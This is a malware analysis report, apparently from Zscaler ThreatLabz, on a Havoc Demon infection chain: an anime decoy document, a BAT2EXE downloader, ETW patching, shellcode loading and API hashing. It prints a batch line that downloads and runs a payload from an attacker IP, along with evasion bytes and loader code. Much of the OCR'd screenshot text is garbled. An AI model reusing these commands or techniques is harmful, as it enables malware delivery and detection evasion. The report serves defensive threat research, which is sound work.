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5> zscaler | ThreatLabz

The infection chain utilized by the threat actors for delivering the Havec Demon on the target machines

commences with a ZIP Archive named “ZeroTwo.zip” consisting of two files “character.scr” and “Untitled

Document.docx” as shown in the screenshot below.
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Fig 3. ZIP Archive

Here the “Untitled Document.docx” is a document consisting of paragraphs regarding the “ZeroTwo” which is a

fictional character in the Japanese anime television series Darling in the Franxx.

Zero Two is a highly complex and multifaceted character from the popular anime and
manga series "Darling in the Franxx". As an elite member of the secretive organization
known as the "APE Special Forces", Zero Two possesses a number of exceptional
abilities and characteristics that make her a formidable force to be reckoned with.

One of the most striking features of Zero Two is her distinctive appearance, which
includes bright pink hair, horns, and a unique outfit that combines elements of both
human and alien physiology. It is imperative that any artist seeking to depict Zero Two
do so with the utmost attention to detail and accuracy, as even the smallest deviation
from the character's established visual design could undermine the integrity of the
piece.

In terms of personality, Zero Two is a complex and multifaceted individual who exhibits
a range of emotions and behaviors. At times, she can be fiercely independent and
rebellious, while at other times she exhibits a more vulnerable and compassionate side.
It is essential that any artist attempting to portray Zero Two capture the full range of her
emotional depth and complexity, as this will be crucial in accurately conveying the
character's motivations and actions.

Overall, Zero Two is a highly influential and iconic character within the world of "Darling
in the Franxx", and it is crucial that any artist seeking to depict her do so with the utmost
care and attention to detail. By following the guidelines outlined above and taking the
time to fully understand the character's unique traits and characteristics, it is possible to
create a truly exceptional and memorable depiction of Zero Two.

@>zscaler | ThreatLabz

Fig 4. Contents of the Document bundled in the ZIP Archive
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Further the screen saver file “character.scr” is basically a downloader commissioned to download and execute the
Havoc Demon Agent on the victim machine. The Downloader binary is compiled using a BAT to EXE converter
“BAT2EXE” which allows users to convert Batch scripts into executables as shown in the screenshot below. The

BAT2EXE argument can be seen in the downloader binary.

C @ documentation.help/BAT2EXE/en.html > zscaler | ThreatLabz

push rax
push rcx
sub rsp,20
€all character.1400121C0
add rsp,20

pop recx

push rax

push gword ptr ss:[irsp+900
pop rex

b2eincfile(number)

b2eincfilecount [rsp+90]:L"b2eincfilepath”

b2eincfilepath Returns the include file path

b2eprogramname Returns the full path name of your executable

Fig 5. BAT2EXE argument used in the downloader binary

Once executed the BAT2EXE compiled binary loads and decrypts the Batch Script from the .rsrc section as shown

in the screenshot below.

[} mov rax,rax RDI
. push rax | rax: "eXpuBTIc:~E9, BISZPUBLIC: ~5,1%CHOA OTA%PUBTIC :~46,16%T\NSET RA=)QARPUBL]
o pop rex RE 0O
:S ggp :g’( . R9 0000000000000001
A s &b caraceer. 1000028 Decrypted BAT Script R0 0000D000OLFE0000
>eB7C24 68 mov rl3 Lguord ptr ss:[rsp:68] R1Z2  000000000D000000
o mp T
o8 jne character 1-100053 rR13  0000C00000000000
o/ 13ac0100 pusn qwurg prr ds [14002016(] 5‘; gggmggmgggﬁ o
. push gword ptr s—.- 25
®| BIACOLOO push qmrd prr d E.l-:oozo-lsc] 000000014 00204 EC 8L "C \\Users) \knight'\\AppData’\ \Local\\ Temp',\8F7 5. tmp"\ BF7 6.
- pop r |I RIP 000000014 0005848 character. 0000000140
L pop .-gt
ol ap T - —
ek100000 E'ﬁ, char:cter,lqog:mﬁgﬁn , . . : RH Resource Hacker - character.exe m] x
a4 38 push gqword ptr ss:[Qrsps38] rsp+38] : "@XpUBT1Tc:~B9,| . . - .
o DpleA File Edit View Action Help RCData : E6583C6822597B3EF6BDBEASB22EDT20: 0
wn [
— 8 cl acter.
2 T DHBE"‘?JJQBEMFG
oz pus -
[] > \ Icon ODOD1ESEC| AE B5 24 2E 78 AC FB 5C FS A4 43 0A C2 23 |a
r 55:[rsp+68]=[000000000014F0E8]=0 / v ]|, RCData 0001ESFC| E2 E:l BE 72 BB 01 12 BC 97 78 ED DC 60 FO €6 B4
. ' 0001EROC| P4 5B 46 c8 FD 14 26 SE ES 88 €4 98 BT €8 F4 51
0000014000384 81 chranar Ler- exe: 58481 RCAE = TEIBTHAFEBGIFESI0M | goo1emic| 83 12 6c cB €5 77 CE SF 80 B4 7D EO 44 84 EO 15
1 @ Duwp2 ¥ Duep3 ¥ Dumps wn/ns B wetch1 0l locas 8 st Lr B28FBFCE20BC426E951 F3 CD 5D C7 4C 02 €& 78 A3 2F 30 78 7D 3D AR FA

DB 8C 40 €4 OB 05 88 C5 52 25 BO 88 A% 87 BB 41
1F 7B 1B 1D EE 7F 5C E2 4B 10 OB 0B EA 1F F8 OF

- AsCIT
90 85 24 |2E 78 AC 44 F8 5C F5 A4(43 0A €2 23 3. x=Da'\0nC

.3
60 FO 66 B84 !51rx a8, x‘iju br DC T7F 40 00 23 78 C3 EF 14 73 B3 F2 C8 DB 98 7B

;1; gz :8 :; d ) oup H 52 1E 77 AD 5C BO 4A BE 41 DY 25 4F 3IF 5SA C6 5% R
7D 3D AA FA|G ] / ? . Manifest OO01ERTC| 1A CE B4 C2 B3 16 AD 55 3€ 41 AO 33 1B ES AB BB
A9 B7 BB 41 Q001EABC| €A 72 12 1F F2 58 D2 88 DF 7A F4 80 F2 E7 15 79 3
EA 1F FB OE - . Sc|Bé D2 CE AD FA D4 72 45 CF D& 4€ 07 B2 1E cC& BS

g gg g: gg ;,; o w ke Encwpted BAT script loaded via ac|or p1 42 DP 2D 08 21 S0 SB cB 36 43 Ec 1D OF 1A
18 EO AB BB - BC|9F C0 49 00 6D 14 EC €B Fé 1D BF 10 AY 8C 04 08 |o
£2 €7 15 79, i a0 be. ; LoadResource e o s o st e o et M
B2 1E C& BS| 0 uorEmF = . i it = Binary View

Zzscaler” | ThreatLabz
— - ma sep =d (like e instructions): m bx | SFB / 1E9EC Selection - Offset: 0 Length: 0 <

Fig 6. Decrypted BAT Script

The binary then writes and executes the decrypted BAT script from the Temp folder as shown in the image below.
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> AppData > Local > Temp » 8F75.tmp > 8F76.tmp v O L2 Search 8F76.
Name B Date modified Type Size
[%.] 8F77.bat : Windows Batch... 2 KB
| 8F78.tmp \ o TMP File 0 KB
NUser: ., AppData\Local\TempY8F75.tmp\8F76.tmp\8F77.bat - Notepad++ - O X
Edit Search View Encoding Lan§uage Settings Tools Macro Run Plugins Window 7 + v

b 3 Y T= =
IHe 3 ha « Wk i % [ER
$83C6822597B3EF6BDBEA9822ED720 3 ESF??.batm |

" [Fsnizt /0

@%pUBlIc:~89,83%%PUBLic:~5,1%CHo" of*%PuBlIC:~46,16%f

SEt R*=Jg~%pUBLIc:~13,1%"gtGXz%pUBLIc:~4,61%w%pUBLIc:~11,1% " hm%pUBLIc:~10,1%*S*"HI*0O"A
~%pUBlIC:~14,1%~L%pUBliC:~55,17%%publIc:~4,61%

@~e~c%r:~15,1%"%r:~17,1% ~%r:~17,1%n

@ectr:~11,1%0 off Decrypted BAT Script

cd %temp%

ST EEEEfRe®| ODEMNE

$r:~2,1%f ex%r:~2,61%%xr:~B8,1%%r:~4,1% $tempt\%r:~4,61%ec%r:~8,1%%r:~4, 1%c.exe (
ectr:~11,1%0 F%r:~2,1%le already ex%r:~2,1%%r:~8,1%%r:~4 1%%r:~8,1%!

) el%xr:~8,1%e (
po%r:~9,1%er%r:~8,1%%r:~11,1%e1]1 -co%r:~12,1%%r:~12,1%and %r:~2,1%nvoke-%r:~9,61%e%r:~10,1%reqg
$r:~13,1%e%r:~8,1%%r:~4,1% "$r:~11,1%%r:~4 1%%r:~4,1%p://146.190.48.229/p%r:~2,1%c%xr:~8,1%

.exe'-0%r:~13,1%%r:~4,1%F%xr:~2,1%1le %r:~8,1l%ce%r:~4,1%%r:~11,1%e.exe i
) > zscaler’ | ThreatLabz

Fig 7. Decrypted BAT Script written in the Temp folder
The Decrypted BAT Script upon execution performs the following tasks:

Checks whether “teste.exe” exists in the Temp folder, if not, it downloads the final payload from

http[:1//146[.]190[.]148[.]229/pics.exe and saves it as “seethe.exe” in the Temp folder via Invoke-WebRequest and

then executes it using “start seethe.exe”

fecho off

cd %temp%

if exist %tempi\teste.exe (
echo File already exists

) else (

powershell -command invoke-webrequest 'http://146.190.48.22%/pics.exe'-outFile seethe.exe
)

|cd Ytemp%

_start seethe.exe

&> zscaler’ | ThreatlLabz

Fig 8. Downloads the final payload “pics.exe” from remote server via Invoke-WebRequest

Then it checks whether “testv.exe” exists in the Temp folder, if not, it downloads an image from
“https[:]//i[.]pinimg|[.]Jcom/originals/d4/20/66/d42066e9f8c4b75a0723b8778c370f1d.jpg” and saves it as
images.jpg in the Temp folder and opens it using images.jpg.

|1f exist itempi\testv.exe (

echo File already exists

{

sy’ =1l -command invoke-webrequest 'https://i.pinimg.com/originals/d4/20/66/d42066e9f8c4b75a0723b87768c370£f1d.jpg' -outFile imagez.jpg
start imagez.jpg

) € zscaler | Threatlabz

Fig 9. Downloads a JPG image from pinimg[.]com
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The following image of the “Zero Two” character was downloaded from pinimg[.]Jcom & executed in order to

conceal the actual execution and malicious activities performed by the final payload.

Photos - imagez.jpg

w See all photos R

> zscaler | ThreatlLabz

Fig 10. Zero Two Image downloaded from pinimg[.]com

Before analyzing the final payload, let’s take a look at another similar Downloader compiled via BAT2EXE
named “ihatemylife.exe”, in this case, the decrypted Batch script downloads the final payload from
“https[:]/ttwweatterarartgea[.]ga/image[.]exe” using Invoke-WebRequest alongside the payload it also downloads

an image to conceal the malicious activities as shown in the screenshot below.
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ed

powershe -Command "Invoke-WebRequest -Uri '"https://encrypted-tbnl.gstatic.com
/images?q=tbn:ANd9GcQOBmnuovMZg0rZEmZEnDsfTcZbBgqw—2 R3Y¥Yg&usgp=CAU' -OutFile 'image.jpg'"
t AL

start image.jpg

I - —command invoke-webrequest 'https://ttwweatterarartgea.ga/image.exe'—outFile image.exe
start image.exe

@ zscaler | ThreatLabz

Fig 11. Decrypted Batch scripts downloads the final payload from https[:]//ttwweatterarartgeal.]ga

&« G 5] htt encrypted-tbn0.gstatic.com/ir

@ zscaler | ThreatLabz

Fig 12. Image Downloaded by the Batch Script to conceal malicious activities

Now let’s analyze the final In-the-Wild “Havoc Demon” payload which was downloaded via the Downloader

named “character.scr” from http[:]//146[.]190[.]148[.]229/pics.exe as explained previously.

Havoc Demon is the implant generated via the Havoc Framework - which is a modern and malleable post-

exploitation command and control framework created by @C5pider.
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@ zscaler | ThreatLabz

> zscaler | ThreatLabz

Fig 14. Havoc Framework - Interface

Shellcode Loader

The Downloaded payload “pics.exe” is the “Shellcode Loader” which is signed using Microsoft’s Digital

certificate as shown in the screenshot below.
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@ zscaler | ThreatlLabz

W pics Properties

Digital Signature Details

General Advanced

— -, Digital Signature Information
This digital signature is not valid.

Signer information
Neme: Mcrosoft Corporation
E-mail: |Not available

Signing time: |Satu'dav, February 27, 2021 7:53:30 PM

View Certificate

Fig 15. Microsoft Signed Executable

Upon execution the Shellcode Loader at first disables the Event Tracing for Windows (ETW) by patching the
WinApi “EtwEventWrite()” which is responsible for writing an event. ETW Patching process:

¢ Retrieves module handle of ntdll.dll via GetModuleHandleA

e Retrieves address of EtwEventWrite via GetProcAddress

48:8D0D 51230000 lea rcx,qword ptr ds: [FFFEDA3D4000] 00007 FFEDAZD4000: "ntdl 1. d11"

48:3B05 CAGADLOD mov rax,qword ptr ds: [<&GetModuleHandleas]

FFDOD Ean rax

45: 8015 4B230000 Tea rdx,qword ptr ds:[7FFEDA3D400A] rdx: "ETwEventwrite™, 00007FFGDA3D400A:"
48:89C1 MOV FCX,rax

48: 8B0S BF&AOQLO0 mov rax,gqword ptr ds: [<&GetProcAddress> a2

Fig 16. Fetches the address of EtwEventWrite

« Further it changes the protection of the region via VirtualProtect and then overwrites the first 4 bytes of the
EtwEventWrite with following bytes: 0x48,0x33,0xc0,0xc3 (xor rax,rax | ret)
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00007 FF90089F1A0 4C: BEDLC MOV FIl,rsp ETwEvVentwrite
00007 FF20089F1A3 48:8B3EC 58 sub rsp,5s

00007 FF20089F1AT I0TEO4E EC I 1-18],ro

00007 FF20089F 1AB 23C0 Xor eax,eax

00007 FF20089F 1AD 45:8943 EO mov dword ptr ds:[rlil-zo

00007 FF20089F1B1 45:33C9 xor rod,rod

00007 FF20089F1E4 49:8943 D8 mov gword ptr ds:[rll-28],rax

00007 FF20089F1ES 45:33C0 xor r&d,rad BEfDre PdtCh

00007 FF90089F1BB 49:8943 DO mov gqword ptr ds:[ril-30],rax

00007 FF90089F1EF 66: 894424 20 mov word ptr ss:[Brsp+zofl, ax

D00D7 FFI0089F1C4 ES 5FOO0000D €a11 ntd11.7FF30089F228

00007 FF20089F1CS 48:83C4 58 add rsp,53

00007 FF20089F1CD c3 ret

00007 FFI0089F1CE cC int3

00007 FF20089F1A0 4873300 KOF Fax,rax ETwEvVentwrite
00007 FF20089F1A3 Cc3 ret

00007 FF20089F1A4 OOLC oo SUD C5Py a0

00007 FF20089F 1AT 4D: 824B ESB mov gword ptr ds:[ri11-1% 9

00007 FF20089F1AB 23C0 Xor eax,eax

00007 FF20089F1AD 45:8943 EO mov dword ptr ds:[ri1i-2o0],rsd

00007 FF20089F1EL 45:33C9 xor rad,rad

00007 FF90089F1B4 4918943 DS mov gqword ptr ds:[ri11-28],rax After PE tCh

00007 FF20089F1EE 45:33C0 xor rid,rsd

00007 FF90089F1BE 49:8943 DO mov gqword ptr ds:[rll-30],rax

00007 FF90089F1BF 66:594424 20 mov word ptr ss:frsp+zo],ax

00007 FF20089F1C 4 EE SFOO0O0O00 call ntdl11.7FF20089F228

00007 FF20089F1CS 48:83C4 58 add rsp,58 -

D0007FF20089F 1CD c3 ret 5> zscaler | ThreatLabz
NNNN7EFSNNAIFICF cr intz

Fig 17. Overwriting bytes to patch EtwEventWrite
By patching the EtwEventWrite function the ETW will not be able to write any events thus disabling the ETW.

Then the payload AES decrypts the shellcode using CryptDecrypt() as shown in the screenshot below - in this case
the Algorithm ID used is “0x00006610” - AES256

® || 00007FFGEDA3ID1642 43:895424 20 mov qword ptr ss:irsp+zof,rdx
@ | 00007 FFEDA3D1G4T 41: B2 00000000 mov rad,o0
® | 00007 FFEDA3D164D 41:B8 00000000 mov rsd,0
@ | 00007 FFEDA3D1GS3 BA 00000000 mov edx,0
@ | 00007 FFEDA3D1GSE 48:89C1 = T
® | 00007 FFEDA3ID1G5E 43:8B05 B66BOLOD mov rax,qword ptr ds: [<&CryprtDecrypt>]
@ || 00007 FF&D. FFDO Eal] rax
>» |[iE 85C0 test eax,eax
@ | 00007 FF&D, OF 24C0 SoLE dl
00007 FFEDAZ B4CO test al,al
00007 FF DA ~ 74 OF je pics.7FFEDA3D1674
00007 FFGDA3I BE8 FFFFFFFF mov eax,FFFFFFFF
DODOFFF6 ~ EB 3A jmp pics.7FFEDA3D1GAE

<

W7FFEDA3D1G664 pics.exe:$1664 #C64

I @oump2 @Y% Dump 3 4% Dump 4 }6 Dump 5 68 watch 1 =] Locals ,jo';v’ Struct

Hex i ASCII
E3EF7E0fEE IE P el T Ml S rcorooon 'u"H.E-HiEOHJ -
:E3EF790| 00 48 89 F4|SE C3 66 2E|O0F 1F 84 00|00 00 00 00| .H.8AAF.........

[E3EF7AO] 41 56 45 31|c0 45 31 €931 D2 41 55 |31 €9 41 s4|averaeatadaniiar| AES DecryptEd
SE3EF7BO|55 57 56 53|48 83 EC 50|4C 89 44 24|40 4C B9 44| UWVSH.IPL.D$EL.D
3ESEF7CO| 24 48 44 B89|4C 24 34 48|89 54 24 38|89 4C 24 30| $HD.L$4H.TH8.L30 ShE”COdE
SE3EF7DO|EE8 EE 02 00|00 E9 53 17 |E6 70 49 B9|C5 ES OE 02| E&...'s.=zpl.As..

JE3EF7EO| D0 0D BA 43|64 45 9E 48|89 C3 48 89|C1 E8 4F 02 |..°CjE,H.AH.AZ0.
SE3EF7FO|00 00 48 B9|D9 BA EC BE|83 F7 ES 42|02 00 00 48|..H.U®1_.<€B...H
s£3EF800| 839 D9 BA 88|28 E9 S0 48|89 C6 ES 32|02 00 00 49|.0°. (&PH.ER2...I
SE3EFB10| 63 5D 3C 45|31 CO 48 B3|C9 FF 49 B9|C4 48 BD 54|c]<ELAH.EYI.AH.T
SE3EFB20| 24 38 4C BD|4C 24 30 4C|01 EBE BE 43|50 C7 44 24| $8L.L$0L.&.CPCD§
:E3EF830| 28 04 00 00|00 C7 44 24|20 00 10 00|00 89
SE3EFB40| 30 FF D6 B5|CO OF B8 41|01 00 00 OF |B7 43
SE3EFB50| 31 CO 48 8D |6C 03 18 48|89 EA OF B7 |43 06

SE3EF860|4C 24 38 41|39 CO 73 1D (8B 42 OC 8B|72 14 41 FF|L$8A9AS,.B,.r Ay - -
sE3EFa70co 45 83 €2|28 48 01 C8|4C 01 EE 88|4A E8 48 89| AM.A(H.EL.1.JeH. @ zscaler | ThreatlLabz
AEZIEESON — -

Fig 18. AES Decrypts the Shellcode via CryptDecrypt

Once the Shellcode is decrypted, the Shellcode is executed via CreateThreadpoolWait() where at first it creates
an event object in a signaled state via CreateEventA(), then allocates RWX memory via VirtualAlloc() and writes
the Shellcode in the allocated memory. Further it creates a wait object using CreateThreadpoolWait, here the first

argument - callback function is set to the address of the shellcode. Then it set’s the wait object via the NtApi
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“TpSetWait” and at last calls the WaitForSingleObject which once executed checks if the waitable object is in

signaled state, as our event was created in signaled state the callback function is been executed i.e the decrypted

shellcode is been executed and the control flow is been transferred to the shellcode.

00007 FFEDA3SD1882
00007 FFEDA3D1883
00007 FFEDASD18EE
00007 FFEDAZD1892
00007 FFEDA3D1898
00007 FFEDA3D189F
00007 FFEDA3ID 1S,

00007 FFEDA3D18AB
00007 FFEDAZD1BBO
00007 FFEDASD18ET
00007 FFEDA3D18BE
00007 FFEDAZDLSCO
00007 FFEDA3D1BCT
00007 FFEDA3D1BCA
00007 FFEDAZD1EDL
00007 FFEDA3D18D3
00007 FFEDA3D18DA
00007 FFEDASD1BEL
00007 FFEDASD1BET
00007 FFEDAZD1BED
00007 FFEDASD1BF2
00007 FFEDA3D18FT
00007 FFEDASD1SFD
00007 FFEDA3D1 300
00007 FFEDAZD1904
00007 FFEDA3D130B
00007 FFEDA3D1911
00007 FFEDASD1I14
00007 FFEDA3D1919
00007 FFEDAZD1920
00007 FFEDAZD1926
00007 FFEDA3D19ZB
00007 FFEDA3D19ZE
00007 FFEDA3ID1935

00007 FFEDA3ZD19ZE
00007 FFEDA3D1345
00007 FFEDA3D194C
00007 FFEDASD1I52
00007 FFEDA3D1955
00007 FFEDA3D195C
00007 FFEDA3D135E
00007 FFEDA3D1965
00007 FFEDA3ID126A
00007 FFEDA3D1 96D
NNNN7EERNAZNT aT4
£

48:8B05 C7E630100
FFDO

48: 8985 CEOZ0100
41:B9 10000000
4C:8D0O5S 71170000
BA 0CO00000

48: 8000 75170000
E8 D4FEFFFF
66270000
C2630100

59170000

1
E7&30100

66570100
5F570100
41:B69 40000000
41:BE 00100000
EA 00040100

E9 00000000

FFDO

48: 8285 CO0Z0100
48:8D55 AD
48:BESS COO20100
41:B8 00040100
48:89C1

ES OF120000
48:8B85 CO030100
41:BE 00000000
BA 00000000
48:89C1
48: BEOS
FFDO

23630100

EB0Z0100
CED20100
ES0Z0100
8 00000000

458:82C1

458:8B05 4C630100
FFDO

48: BE85S C8020100
BA FFFFFFFF
48:82C1

48: 8B05 64630100
EFMM

mov_rax,qword prr ds:

Eall rax

| <&CreateEventas | I

mov
lea
mov
lea
call pics.7FFEDA3D16E4

edx,C

Tea rcx,qword
mov rax,qword
€&l rax

Tea rdx,qword
mov rox,rax
mov rax,qword
£all rax

Loy e v

LT

r8,qword ptr ds:[7FFEDA3D3010]
rcx,gword ptr ds: [FFFGDA3D3020]

ptr ds:[7FFEDA3D401D]
ptr ds:[<&GetModuleHandleA=]

ptr ds:[7FFEDA3D3020]

ptr ds:[<&GetProcAddress>]

QO007FFEDAIESZ50: "0IA™

00007 FFEDA3D3010: "r FEgHZ USSR NaAgL™
C:\F"
00007FFEDA3D3020: "Virtualalloc”

00007FFEDA3D401D: "kernel3z. d11”

O000FFFEDA3D3020: "Vvirtualalloc”

mov qword ptr
mowv rax,qword
rad, 40
rad, 1000
edx, 10400
ecx,0
€&l rax

ds: [<&virtualAlloc>],rax
ptr ds:[<&virtualAlloc=]

T
rdx,gword
rax,qword
rad, 10400
rox, rax

ptr

mov

call <IMP.&memmoves

=TT
s55:[frbp-6off
ptr ss:|firbp+103Cof

0 T

mov rax,gword ptr ss:[lrbp+1o3coff

mov r&d,o
mov_edx, 0

Shellcode execution via
CreateThreadpoolWait

MOV FCX,rax
mowv rax,qword
€&l rax

mov gword ptr
mov rdx,qword
mov rax,qword
mov rad,o
rox, rax
rax,gword
call rax

mov rax,qword
mov edx,FFFFFFFF
mov rox,rax

mov

ptr

ptr ds:[<&CreateThreadpoolwait>]
ss:[lrbp+103B8[,rax
ptr ss:[irbp+103Csj
ss:lrbp+103B3§
ptr ds:[<a&TpSetwait>]
ptr ss:[@rbp+103csj

rax,gword ptr ds:[<&waitForSingleobject>]

24 Dump 2

Woump3  @Woump4  Woumps @ watch1i  Ix=lLocals é’ Struct

270000
270010
270020
270030
270040
270050
270060
270070
270080
270090
2700A0D
2700BO
27 00C0
270000

ITANEN

56
0o
41
55

24
ES
00
0o
9
63
24
28
30
31

E6&
F4
31
53
89
00
43

ASCTT__

WH.=®H.30H.1 e...
JHOGAAT . .
AVELAELIE1OAULIEAT
UWVSH. TPL.D$@L.D
$HD.L$4H.T$8.L$0
e&... 's.@pl.AgB..
.. "CIE. H.AH. ABO.
.«H.0°7 ,ZBB...H
LUe. (6PH.&R2,..I
C]<E1AH.EVI.AH.T
$8L.L$0L.E.CPCD$
.D§

Fig 19. Shellcode execution via CreateThreadpoolWait

KaynLdr - Shellcode

Decrypted Shellcode

&> zscaler | ThreatLabz

The Shellcode in this case is the “KaynLdr” which is commissioned to reflectively load the Havoc’s Demon DLL

implant by calling its entrypoint function. Once the Shellcode is executed it retrieves the image base of the Demon

DLL which is embedded in the shellcode itself by executing the following inline assembly function called

KaynCaller.
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EE 00000000 call 24DBBE30345 call 30
59 pop rcx .
48:31DB xor rbx,rbx section .tEXt$F
BB 4D5A0000 mov ebx, 544D
48:FFC1 inc rex ,
3E66:3819 cmp bx,word ptr KaynCaller“.
“ Zg §F o jne 24D88830346
:31C X0or rax,rax
66:8841 3¢ mov ax,word ptr ds:[rcxs3 call caller
:g:gics add rgx.rgx
:31D8 xor rbx,rbx .
66:81C3 5045 add bx,4550 caller:
TP ik
” D ne DEB
48:89C8 g‘IDV rax,rcx pOp rcx
cg 00000000 ‘ 24D8B830378 11 30
E D8B ca .
58 pop rax lOOp.
48:83e8 05 sub rax,5
3 ret xor rbx, rbx

mov ebx, ©x5A4D

inc rcx

cmp bx, word ds:[ rcx ]
jne loop

Xor rax, rax
mov ax, [ rcx + @x3C ]

add rax, rcx

. ,-LE!Thi
S program cannot

be run in DOS m xor r"bx, rbx

| Demon DLL add bx, ©x4550

.- lembedded in cmp bx, word ds:[ rax ]
-lthe
Shellcode

cCo0o0COoOO00D00000C0D00000D

jne loop

mov rax, rcx

Zscaler | ThreatLabz
ret <

Fig 20. Retrieves the Image Base of the Embedded Demon DLL

Further the KaynLdr performs the API Hashing routine in order to resolve the virtual addresses of various
NTAPI’s by walking the export address table of the ntdll.dll (Function: LdrFunctionAddr) and initially the virtual
address of the NTDLL.dll is been retrieved by walking the Process Environment Block (Function:

LdrFunctionAddr) as shown in the screenshot below

ES EB020000 eall <kayncallers |kayncaller
B9 S3L7E670 MoV ecx,/UEGL753
40:89C5 mov ri3,rax @5 zscaler | ThreatlLabz
ES 0E020000 €all <LdrModulepeb>
DEBBI006Z |  BA 436A59E mov edx,9E456A4 3 |
DEBEI0067 |  48:BOC3 mov rbx,rax

48:89C1 MOV rCX,Fax #define NTDLL_HASH @x70e61753
EB 4F020000 €all <Ldrrunctionaddr> -

48:B8909 mov rex,rbx

BA ECBESIET |mov_edx,F7E3BBEC

E8 42020000 call <Ldrruncti

48:8909 mov rex,rbx

BA BB28£950 mov edx, 50£92858 #define SYS_LDRLOADDLL @x9e456a43
5:80C6
#define SYS_NTALLOCATEVIRTUALMEMORY @xf783bBec

4 mov rsi,rax \
I W EEEENEEIN ..
#define SYS_NTPROTECTEDVIRTUALMEMORY @x50e92888

Instance.Modules.Ntdll = LdrModulePeb( NTDLL_HASH );

Instance.Win32.LdrlLoadDll = LdrFunctionAddr( Instance.Modules.Ntdll, SYS_LDRLOADDLL );
Instance.Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntd1ll, SYS_NTALLOCATEVIRTUALMEMORY );
Instance.Win32.NtProtectVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntd1ll, SYS_NTPROTECTEDVIRTUALMEMORY );

Fig 21. API Hashing Routine used by Havoc Demon

Here the hashing algorithm used is a modified version of “DJB2” algorithm based on the constant “5381” or

“0x1505” as shown in the screenshot below.
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BE 05150000

EB DA
41:80F8 B0
-~ 76 04
41:83e8 20
6BCO 21
45:0FBECO
49:FFCl
44:01C0
c4
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mov eax,1505
mov r8b,byte ptrow
test rdx,rdx

text, B ) UINT_PTR HashString( LPVOID String, UINT_PTR

mov r10d,rod {
sub rJUc.gcx

cmp rlo,rdx

jae 218F2cC0264 ULONG Hash =|5381;
test r8b,rsb

jne 216Ficco24 PUCHAR Ptr = String;

jmp 218F2cC0255
p réb,60

jbe 218F2cc0255
réd,20

imul eax,eax,21

movzx r&d,rBb do
inc r

add eax,r&d {
jmp 218F2CCO228

rec

UCHAR character = *Ptr;

if (! Length )
{
if ( !'*Ptr ) break;
> zscaler | ThreatLabz

Fig 22. Modified DJB2 Hashing Algorithm used in the API Hashing Routine

Virtual Addresses for the following module and NTAPI’s are retrieved by using the API Hashing routine where the

hardcoded DJB2 hashes are compared with the dynamically generated hash.

0x70e61753

0x9e456a43

0xf783b8ec

0x50e92888

ntdll.dll
LdrLoadDll
NtAllocateVirtualMemory

NtProtectVirtualMemory

Further the Embedded Demon DLL is memory mapped and the base relocations are calculated if required in an

allocated memory page procured by calling the NtAllocateVirtualMemory(). Also the page protections are

changed via multiple calls to NtProtectVirtualMemory as shown below.
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if ( NT_SUCCESS( Instance.Win32.NtAllocateVirtualMemeory( NtCurrentProcess(), &KVirtualMemory, @8, &KMemSize, MEM_COMMIT, PAGE_READWRITE ) ) )

SecHeader = IMAGE_FIRST_SECTION( NtHeaders );

for ( DWORD i = @; i < NtHeaders->FileHeader.NumberOfSections; i++ ) Copy Sections of the Demon DLL into the allocated

t memory
MemCopy (
C_PTR( KvirtualMemory + SecHeader[ i ].virtualAddress ), // Section New Memory
C_PTR( KaynLibraryLdr + SecHeader[ i ].PointerToRawData ), // Section Raw Data
SecHeader[ i ].SizeOfRawData // Section Size
)s
} ImageDir = & NtHeaders->OpticnalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

if ( ImageDir->VirtualAddress )

KaynLdrRelec( KVirtualMemory, NtHeaders-3>OptionalHeader.ImageBase, C_PTR( KVirtualMemory + ImageDir->VirtualAddress ) );

\ Base Relocation Function

if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) )
Protection = PAGE_EXECUTE_WRITECOPY;

if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) )
Protection = PAGE_EXECUTE_READ;

if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeac

Protection = PAGE_EXECUTE_READWRITE; Change Page Protections of the Demon DLL

Instance.Win32.NtProtectVirtualMemory( NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &0ldProtection ); E>zscaler | ThreatLabz

Fig 23. Memory Mapping of the embedded Demon DLL

The Demon DLL is memory mapped in the Allocated memory without the DOS and NT Headers in order to evade
detection mechanisms.
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0000025F4EEEODBO |00 00 00 00|00 0O 00 00|00 00 00 00|00 00 00 00|.. .oy eneernnnnn
0000025F4EEEODSO |00 00 00 00|00 0O 00 00|00 00 00 00 (00 O = |1z :
0000025F4EEEODAD | 00 00 0O 00|00 00 00 00|00 00 00 00 (00 Dﬁ pler Threatlab
0000025F4EEEODBO |00 OO 00 00|00 OO 00 00|00 00 00 Q0|00 00 00 00| ..o vennennnn..
0000025F4EEEODCO |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00| ... en e
0000025F4EEECDDO |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00|, .o en e
0000025F4EEECDED |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 0D 00|. ..o en e
0000025F4EEEODFO |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 0D 00|, .o en e
0000025F4EEEQOEQD |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00| ... e en e
0000025F4EEEQOELID |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00|, . e en e
0000025F4EEEQOEZ20Q |00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|, . eerenenrnnnn
0000025F4EEEQOE3D |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00|. ..o en e
0000025F4EEEQOE4A0Q |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 0D 00| ... en e
0000025F4EEEQCESD |00 00 00 00|00 0O 00 00|00 00 00 Q0|00 00 00 00| ... nen e
0000025F4EEEQOEGD |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00| ... e en e
0000025F4EEEQCEYQ |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00| ... eeven e
0000025FA4EEEQCESD |00 00 00 00|00 0O 00 00|00 00 00 00|00 00 00 00| .. .euvinin e
